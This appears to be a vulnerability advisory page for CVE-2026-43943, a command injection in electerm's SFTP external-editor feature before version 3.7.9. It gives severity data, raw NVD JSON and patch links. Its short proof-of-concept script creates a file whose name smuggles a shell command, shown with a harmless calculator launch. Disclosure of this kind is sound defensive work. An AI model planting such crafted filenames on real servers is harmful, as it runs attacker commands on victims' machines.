Security Vulnerability Report
中文
CVE-2026-43943 CVSS 7.8 HIGH

CVE-2026-43943

Published: 2026-05-08 04:16:24
Last Modified: 2026-05-08 19:16:46

Description

electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.7.9, a code execution (RCE) vulnerability exists in electerm's SFTP open with system editor or "Edit with custom editor" feature. When a user opts to edit a file using open with system editor or open with a custom editor, the filename is passed directly into a command line without sanitization. A malicious actor controlling the SSH server or user OS can exploit this by crafting a filename containing shell metacharacters. If a victim subsequently attempts to edit this file, the injected commands are executed on their machine with the user's privileges. This could allow the attacker to run arbitrary code, install malware, or move laterally within the network. This issue has been patched in version 3.7.9.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:* - VULNERABLE
electerm < 3.7.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-43943 # Description: Create a file with a malicious filename on the SSH/SFTP server. # When victim opens this file with electerm's editor, the command executes. # Payload to open calculator on Linux/macOS MALICIOUS_FILENAME="safe_file.txt; xcalc; #" # Payload to open calculator on Windows # MALICIOUS_FILENAME="safe_file.txt & calc.exe &" # Create the file on the server (simulated) touch "$MALICIOUS_FILENAME" echo "Created file: $MALICIOUS_FILENAME" echo "If a victim edits this file using electerm < 3.7.9, the command will execute."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43943", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:23.837", "lastModified": "2026-05-08T19:16:45.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.7.9, a code execution (RCE) vulnerability exists in electerm's SFTP open with system editor or \"Edit with custom editor\" feature. When a user opts to edit a file using open with system editor or open with a custom editor, the filename is passed directly into a command line without sanitization. A malicious actor controlling the SSH server or user OS can exploit this by crafting a filename containing shell metacharacters. If a victim subsequently attempts to edit this file, the injected commands are executed on their machine with the user's privileges. This could allow the attacker to run arbitrary code, install malware, or move laterally within the network. This issue has been patched in version 3.7.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electerm_project:electerm:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.9", "matchCriteriaId": "8598BEBB-099D-4FA5-BB96-F50CCA3387E5"}]}]}], "references": [{"url": "https://github.com/electerm/electerm/commit/24ce7103e264cffe6eb5476c0506a2379e6f8333", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/electerm/electerm/releases/tag/v3.7.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/electerm/electerm/security/advisories/GHSA-q4p8-8j9m-8hxj", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}